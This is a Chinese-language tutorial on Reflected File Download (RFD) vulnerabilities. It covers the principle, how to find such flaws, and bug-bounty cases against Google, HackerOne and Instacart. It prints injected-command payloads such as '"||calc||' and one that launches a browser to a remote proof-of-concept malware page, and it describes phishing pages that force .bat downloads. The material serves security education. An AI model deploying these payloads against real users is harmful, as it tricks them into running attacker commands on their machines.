RFD(反射型文件下载)漏洞原理及实战案例全汇总
閱讀本文約花費: 4 (分鐘)
1、概念
RFD,即Reflected File Download反射型文件下载漏洞,是一个2014年来自BlackHat的漏洞。这个漏洞在原理上类似XSS,在危害上类似DDE:攻击者可以通过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PC。
这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal和其他许多公司认为这是一个中危漏洞。
2、漏洞原理
先从一个实例理解RFD漏洞,如Google搜索的返回包是json格式:
可见我们的输入在返回包处反射输出,如果输入payload”||calc||,返回:
到这仍没什么问题,但如果我们尝试在命令行里运行这个回显内容,如
{“result”:[“q”,”rfd”||calc||”,”jayway”]}
发现在显示“文件名或目录不存在”的同时,会执行我们的管道符后的命令calc,弹出计算器。解析过程实际为:
所以和DDE的攻击方法类似,我们最终要是让回显内容作为一个bat文件下载,这可以通过分号;或结合社会工程的方式实现:
注:URL中分号;是个保留字符,类似连接符,现已废除。
3、漏洞挖掘
根据漏洞触发的三个条件挖掘漏洞:
1)输入反射:用户输入被“反射”到响应内容。
2)文件名可控: URL允许并接受用户的其他输入,攻击者将其用于将文件扩展名设置为可执行扩展名。
3)下载:响应被作为文件里的内容进行下载,这里可以控制Content-Type或者在自己的服务器上创建一个HTML文件,设置download属性,诱导点击下载。
4、实战案例:
1) Google
这是Oren Hafif在google利用的例子。在facebook中插入的一个google超链接,如下形式内容:
成功执行了一个shutdown命令,先用了一个双引号闭合掉前面的不可控的双引号,然后利用||符号(命令行中||表示逻辑“或”)保证命令成功执行。
2) Hackerone
在编辑字段中输入text”|| calc ||:
保存,回到编辑543数据edit页面:
保留参数543,删除/edit,追加点.发现得到json回显,这里加上.bat:
由于因为这个链接返回json值而不是下载,所以这里可以在自己的服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件:
用户点击文件,因为链接来自可信地址,所以容易中招:
3) Instacart
关注json返回包,请求
发现term参数回显:
{“meta”:{“code”:200,”source”:”search_service”,”cluster”:null},”data”:{“term”:”rfd”,”inventory_area_id”:617,”items”:[],”total_results”:0,”aisles”:[],”warehouses”:[],”search_strategies”:[],”tracking”:{},”product_type_filter”:false,”has_deals”:false,”search_id”:141585110},”pagination”:{“total”:0,”page”:1,”per_page”:50}}
将term参数设为:
“||start chrome davidsopas.com/poc/malware.htm||
创建html文件诱导下载:
当前,业界对RFD这个漏洞见解不一,危害上可能接近于self-xss,但结合社工等手段尤其在社交场合能造成的危害还是可以很大的